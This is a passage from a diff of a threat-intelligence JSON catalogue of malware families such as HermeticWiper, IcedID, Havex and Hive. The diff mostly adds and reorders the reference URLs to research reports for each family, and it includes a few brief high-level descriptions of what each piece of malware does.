"https://github.com/NozomiNetworks/greyenergy-unpacker", + "https://www.secureworks.com/research/threat-profiles/iron-viking", + "https://www.eset.com/int/greyenergy-exposed/" ], "synonyms": [], "type": [] @@ -23350,9 +24468,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent", - "https://twitter.com/bryceabdo/status/1352359414746009608", - "https://blog.group-ib.com/grimagent", "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", + "https://blog.group-ib.com/grimagent", + "https://twitter.com/bryceabdo/status/1352359414746009608", "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer" ], "synonyms": [], @@ -23366,13 +24484,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant", - 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"https://unit42.paloaltonetworks.com/prometheus-ransomware/" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.justice.gov/usao-edny/press-release/file/1505981/download", + "https://securelist.com/cis-ransomware/104452/" ], "synonyms": [ "Thanos Ransomware" @@ -23556,10 +24692,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq", - "https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/", - "https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf", "https://www.youtube.com/watch?v=JPvcLLYR0tE", - "https://www.youtube.com/watch?v=FAFuSO9oAl0" + "https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf", + "https://www.youtube.com/watch?v=FAFuSO9oAl0", + "https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/" ], "synonyms": [], "type": [] @@ -23572,46 +24708,47 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor", - 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"https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html", - "https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html" + "https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html", + "https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html" ], "synonyms": [ "Piptea" @@ -23677,16 +24814,29 @@ "uuid": "788c44c1-d1cd-4b17-8fa9-116d682c3661", "value": "Haron Ransomware" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.havana_crypt", + "https://www.trendmicro.com/en_us/research/22/g/brand-new-havanacrypt-ransomware-poses-as-google-software-update.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d2f11e7f-4daf-42f0-8304-e59935991745", + "value": "HavanaCrypt" + }, { "description": "Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as \"Dragonfly\" and \"Energetic Bear\". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.\r\n\r\nOnce installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.\r\n\r\nHavex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://www.f-secure.com/weblog/archives/00002718.html", "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.f-secure.com/weblog/archives/00002718.html", "https://www.secureworks.com/research/threat-profiles/iron-liberty" ], "synonyms": [], @@ -23713,26 +24863,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger", - "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html", - 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"meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html", + "https://www.youtube.com/watch?v=9nuo-AGg4p4", + "https://web.archive.org/web/20200922165625/https://dcso.de/2019/03/18/enterprise-malware-as-a-service/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", "https://vxhive.blogspot.com/2020/11/deep-dive-into-hermes-ransomware.html", "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", - "https://www.youtube.com/watch?v=9nuo-AGg4p4", - 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"https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/", - "https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/", - "https://blogs.blackberry.com/en/2022/03/threat-thursday-hermeticwiper", - "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", - "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", - "https://www.youtube.com/watch?v=sUlW45c9izU", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/defenders-blog-on-cyberattacks-targeting-ukraine.html", - "https://www.zscaler.com/blogs/security-research/hermeticwiper-resurgence-targeted-attacks-ukraine", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", - 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"https://thehackernews.com/2022/02/new-wiper-malware-targeting-ukraine.html", + "https://blogs.vmware.com/networkvirtualization/2022/03/hermetic-malware-multi-component-threat-targeting-ukraine-organizations.html/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", - "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", - "https://cloudsek.com/technical-analysis-of-the-hermetic-wiper-malware-used-to-target-ukraine/", - "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", - "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", - "https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/", - "https://www.deepinstinct.com/blog/hermeticwiper-malware-the-russian-ukrainian-cyber-war", - "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://www.zdnet.com/article/microsoft-finds-foxblade-malware-on-ukrainian-systems-removing-rt-from-windows-app-store/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/digging-into-hermeticwiper.html", - "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", - "https://threatpost.com/microsoft-ukraine-foxblade-trojan-hours-before-russian-invasion/178702/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://securityintelligence.com/posts/new-destructive-malware-cyber-attacks-ukraine/", + "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://learnsentinel.blog/2022/02/28/detecting-malware-kill-chains-with-defender-and-microsoft-sentinel/", + "https://thehackernews.com/2022/02/putin-warns-russian-critical.html", + "https://cloudsek.com/technical-analysis-of-the-hermetic-wiper-malware-used-to-target-ukraine/", + "https://twitter.com/fr0gger_/status/1497121876870832128", + "https://t3n.de/news/cyber-attacken-ukraine-wiper-malware-1454318/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", "https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware" + "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", + "https://www.zscaler.com/blogs/security-research/hermeticwiper-resurgence-targeted-attacks-ukraine", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/defenders-blog-on-cyberattacks-targeting-ukraine.html", + "https://dgc.org/en/hermeticwiper-malware/", + "https://threatpost.com/microsoft-ukraine-foxblade-trojan-hours-before-russian-invasion/178702/", + "https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/", + "https://eln0ty.github.io/malware%20analysis/HermeticWiper/", + "https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/", + "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", + "https://securityintelligence.com/posts/new-destructive-malware-cyber-attacks-ukraine/", + "https://www.englert.one/hermetic-wiper-reverse-code-engineering", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", + "https://blogs.blackberry.com/en/2022/03/threat-thursday-hermeticwiper", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://yoroi.company/research/diskkill-hermeticwiper-a-disruptive-cyber-weapon-targeting-ukraines-critical-infrastructures/", + "https://www.zdnet.com/article/microsoft-finds-foxblade-malware-on-ukrainian-systems-removing-rt-from-windows-app-store/", + "https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/", + "https://cluster25.io/2022/02/24/ukraine-analysis-of-the-new-disk-wiping-malware/", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/digging-into-hermeticwiper.html", + "https://www.secureworks.com/blog/disruptive-hermeticwiper-attacks-targeting-ukrainian-organizations", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf", + "https://www.deepinstinct.com/blog/hermeticwiper-malware-the-russian-ukrainian-cyber-war", + "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", + "https://twitter.com/threatintel/status/1496578746014437376", + "https://www.youtube.com/watch?v=sUlW45c9izU", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://community.riskiq.com/article/9f59cb85", + "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", + "https://www.brighttalk.com/webcast/15591/534324" ], "synonyms": [ "DriveSlayer", @@ -24004,11 +25172,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard", - "https://twitter.com/ET_Labs/status/1502494650640351236", - "https://www.brighttalk.com/webcast/15591/534324", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", - "https://twitter.com/silascutler/status/1501668345640366091" + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://twitter.com/silascutler/status/1501668345640366091", + "https://twitter.com/ET_Labs/status/1502494650640351236", + "https://www.brighttalk.com/webcast/15591/534324" ], "synonyms": [], "type": [] @@ -24071,14 +25239,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee", - "https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/", - "https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit/", - "https://www.bleepingcomputer.com/news/security/new-underminer-exploit-kit-discovered-pushing-bootkits-and-coinminers/", + "https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/", "https://blog.malwarebytes.com/threat-analysis/2019/05/hidden-bee-lets-go-down-the-rabbit-hole/", "https://www.msreverseengineering.com/blog/2018/9/2/weekend-project-a-custom-ida-loader-module-for-the-hidden-bee-malware-family", - "https://www.freebuf.com/column/174581.html", + "https://www.bleepingcomputer.com/news/security/new-underminer-exploit-kit-discovered-pushing-bootkits-and-coinminers/", "https://www.freebuf.com/column/175106.html", - "https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/" + "https://www.freebuf.com/column/174581.html", + "https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit/", + "https://blog.malwarebytes.com/threat-analysis/2019/08/the-hidden-bee-infection-chain-part-1-the-stegano-pack/" ], "synonyms": [], "type": [] @@ -24091,14 +25259,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", "https://twitter.com/struppigel/status/950787783353884672", "https://www.bleepingcomputer.com/news/security/new-f-unicorn-ransomware-hits-italy-via-fake-covid-19-infection-map/", - "https://twitter.com/JAMESWT_MHT/status/1264828072001495041", - "https://github.com/goliate/hidden-tear", "https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/hidden-tear-project-forbidden-fruit-is-the-sweetest/", - "https://www.slideshare.net/ChristopherDoman/open-source-malware-sharing-is-caring", - "https://dissectingmalwa.re/earn-quick-btc-with-hiddentearmp4-about-open-source-ransomware.html" + "https://github.com/goliate/hidden-tear", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://twitter.com/JAMESWT_MHT/status/1264828072001495041", + "https://dissectingmalwa.re/earn-quick-btc-with-hiddentearmp4-about-open-source-ransomware.html", + "https://www.slideshare.net/ChristopherDoman/open-source-malware-sharing-is-caring" ], "synonyms": [ "FuckUnicorn" @@ -24113,9 +25281,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv", - 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"https://twitter.com/MrDanPerez/status/1159461995013378048", + "https://content.fireeye.com/apt-41/rpt-apt41/", + "https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html" ], "synonyms": [], "type": [] @@ -24172,11 +25340,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf", "https://www.recordedfuture.com/hidden-lynx-analysis/", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", + "https://attack.mitre.org/groups/G0001/", "https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", - 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Hive was designed to be used by Ransomware-as-a-service providers, to enable novice cyber-criminals to launch ransomware attacks on healthcare providers, energy providers, charities, and retailers across the globe.\r\nIn 2022 there was a switch from GoLang to Rust.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive", - "https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware", - "https://www.netskope.com/blog/hive-ransomware-actively-targeting-hospitals", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", - "https://blog.group-ib.com/hive", - "https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/", - "https://github.com/rivitna/Malware/tree/main/Hive", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", - 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"https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", - "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", - "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", - "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://blog.reconinfosec.com/an-encounter-with-ta551-shathak", - "https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html", - "https://blog.minerva-labs.com/icedid-maas", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://tccontre.blogspot.com/2021/01/", "https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites", - "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", - "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", - "https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", - "https://www.youtube.com/watch?v=YEqLIR6hfOM", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://thedfirreport.com/2022/04/25/quantum-ransomware/", - "https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766", - "https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id", - "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", - "https://github.com/f0wl/deICEr", - "https://netresec.com/?b=214d7ff", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://eln0ty.github.io/malware%20analysis/IcedID/", - "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", - "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", - "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", - "https://www.group-ib.com/blog/icedid", - "https://forensicitguy.github.io/analyzing-icedid-document/", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", - "https://blog.group-ib.com/prometheus-tds", + "https://eln0ty.github.io/malware%20analysis/IcedID/", + "https://www.group-ib.com/blog/icedid", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", "https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/", "https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", - "https://malwation.com/icedid-malware-technical-analysis-report/", - "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back" + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", + "https://ceriumnetworks.com/threat-of-the-month-icedid-malware/", + "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", + "https://forensicitguy.github.io/analyzing-icedid-document/", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", + "https://github.com/f0wl/deICEr", + "https://cert.gov.ua/article/39609", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2", + "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", + "https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", + "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "https://isc.sans.edu/diary/rss/28934", + "https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes" ], "synonyms": [ "BokBot", @@ -24854,9 +26054,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", - "https://threatray.com/blog/a-new-icedid-gziploader-variant/" + "https://threatray.com/blog/a-new-icedid-gziploader-variant/", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/" ], "synonyms": [], "type": [] @@ -24869,11 +26069,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "http://www.kz-cert.kz/page/502", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko" + "http://www.kz-cert.kz/page/502", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf" ], "synonyms": [ "Fucobha" @@ -24883,6 +26084,19 @@ "uuid": "48cdcbcf-38a8-4c68-a85e-42989ca28861", "value": "Icefog" }, + { + "description": "IceXLoader is a commercial malware used to download and deploy additional malware on infected machines. The latest version is written in Nim, a relatively new language utilized by threat actors the past two years, most notably by the NimzaLoader variant of BazarLoader used by the TrickBot group.\r\n\r\nThe v1 was written in AutoIT.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader", + 